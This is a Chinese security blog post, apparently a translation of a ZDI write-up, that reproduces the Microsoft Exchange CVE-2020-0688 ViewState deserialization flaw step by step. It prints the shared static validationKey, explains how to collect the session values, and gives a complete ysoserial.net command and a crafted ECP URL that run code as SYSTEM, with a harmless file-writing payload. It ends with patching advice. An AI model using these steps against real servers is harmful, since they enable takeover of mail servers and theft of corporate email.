微软Exchange服务器远程代码执行漏洞复现分析[CVE-2020-0688]

释放双眼,带上耳机,听听看~!

漏洞简介

在本周二的最新补丁程序中,微软公司发布了重要级补丁程序,以解决中的远程执行代码错误。该漏洞由一位匿名研究人员报告,漏洞影响范围一直影响到Microsoft Exchange Server的所有受支持版本。

最初,微软公司表示这个漏洞是由于内存损坏漏洞引起的,该漏洞可以通过发送一封特制的邮件到微软的有漏洞的Exchage服务器上。在此后发布的write up中表明该漏洞是由Exchange Server在安装时未能正确创建唯一的加密密钥导致的。

具体来说,该漏洞存在于Exchange控制面板(ECP)组件。该漏洞的原理非常简单。
相对于在每台机器上都随机生成各自的密钥,Microsoft Exchange的所有服务器安装有相同validationKey和decryptionKey,这两个密钥数值在web.config中可以查看到。这些密钥用于为ViewState提供安全性。

注:ViewState是ASP.NET Web应用程序在客户端上以序列化格式存储在服务器端的数据。客户端请求通过 “__VIEWSTATE” 参数将此数据提供回服务器。


图1:包含静态validationKey的web.config文件一部分数据。

漏洞原理

由于使用了静态密钥,经过身份验证的攻击者可以诱使服务器反序列化恶意制作的ViewState数据。借助YSoSerial.net,攻击者可以以system权限在Exchange服务器的控制面板上执行任意.NET代码。

要利用此漏洞,我们需要从经过身份验证的会话中收集ViewStateUserKey和的__VIEWSTATEGENERATOR的值。

该ViewStateUserKey可从ASP.NET会话的_SessionID cookie的隐藏字段中轻易获得。使用浏览器中的“标准开发人员工具(就是F12)”可以轻松获得所有这些信息。

漏洞场景演示

首先,浏览/ecp/default.aspx页面并登录。所使用的帐户无需具有任何特殊特权。在此示例中,我们使用名为的帐户user:

下一步,我们需要收集一些信息。最有价值的信息我们是已知的:

validationkey = 
 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
 validationalg = 
 SHA1
 前面提到过,这里是一个静态值,随便就能得到

要获取ViewStateUserKey和__VIEWSTATEGENERATOR,请打开开发工具(F12)网络选项(Network)。当我们登录/ecp/default.aspx,F5刷新一下,就能得到我们需要的网络数据:

如你所见,该__VIEWSTATEGENERATOR值在页面源中可见。在此示例中,其值为B97B4E27。你自己获取的值可能和这个是相同的。

接下来,打开Headers标签并在中找到ASP.NET_SessionId cookie:


在此示例中,其值为05ae4b41-51e1-4c3a-9241-6b87b169d663。

现在,我们掌握了进行攻击所需的所有信息:

--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
        --validationalg = SHA1
        --generator = B97B4E27
        --viewstateuserkey = 
05ae4b41-51e1-4c3a-9241-6b87b169d663

下一步是使用ysoserial.net生成ViewState有效负载。由于该攻击效果是可以在微软服务器上执行任意代码,我们这里通过在目标服务器上创建文件说明此效果,payload如下:

注:ysoserial.net介绍:
soserial.net是在.NET库中发现的实用程序和面向属性的“小工具链”的集合,可以在适当的条件下利用.NET应用程序执行不安全的反序列化。


工具地址:https://github.com/pwntester/ysoserial.net

Payload效果:在目标服务器上创建C:\Vuln_Server.txt文件:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/Vuln_Server.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy


最后,我们需要对ViewState的payload进行URL编码并按如下所示构造URL:

/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>

替换generator的值为我们获得的值
替换ViewState为我们上面获得的经过URL编码的ViewState。

然后,我们只需将结果URL粘贴到浏览器地址栏中,即可将其提交给Exchange服务器:

服务器显示 500 错误,但是攻击成功。

检查对目标服务器的影响:

果然,文件Vuln_Server.txt成功创建。
检查文件上的所有权信息,确认该文件是由具有SYSTEM令牌的进程创建的。

这表明攻击者可以SYSTEM权限执行任意代码,并完全破坏目标Exchange服务器。

结论

Microsoft在2020年2月将此漏洞修补为CVE-2020-0688。根据他们的说明,他们通过“更正Microsoft Exchange在安装过程中创建密钥的方式”来解决此漏洞。其实就是将Exchange静态安装变为在安装时将加密密钥随机化。Microsoft在严重性上将其评为“important”,这可能是因为攻击者必须首先进行身份验证。但是,应注意,在企业内部,几乎所有用户都将被允许向Exchange服务器进行身份验证。同样,任何破坏设备或企业用户凭据的外部攻击者都可以控制Exchange服务器。完成此操作后,攻击者将可以随意泄露或伪造公司电子邮件通信。因此,如果您是Exchange Server管理员,您应该将其视为关键级补丁,并在测试完成后立即进行部署。

 Microsoft列出的漏洞利用指数为1,这表示他们认为该漏洞会在补丁发布30的天内被疯狂利用。如上证明,这个的确有可能实现。

原文链接
https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys

本文来自先知社区

相关文章

人已赞赏
安全教程

tcache poisoning在glibc2.29中的利用小结

2020-3-11 0:16:52

安全教程

深入理解unsorted bin attack

2020-3-11 0:17:02

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
有新消息 消息中心
搜索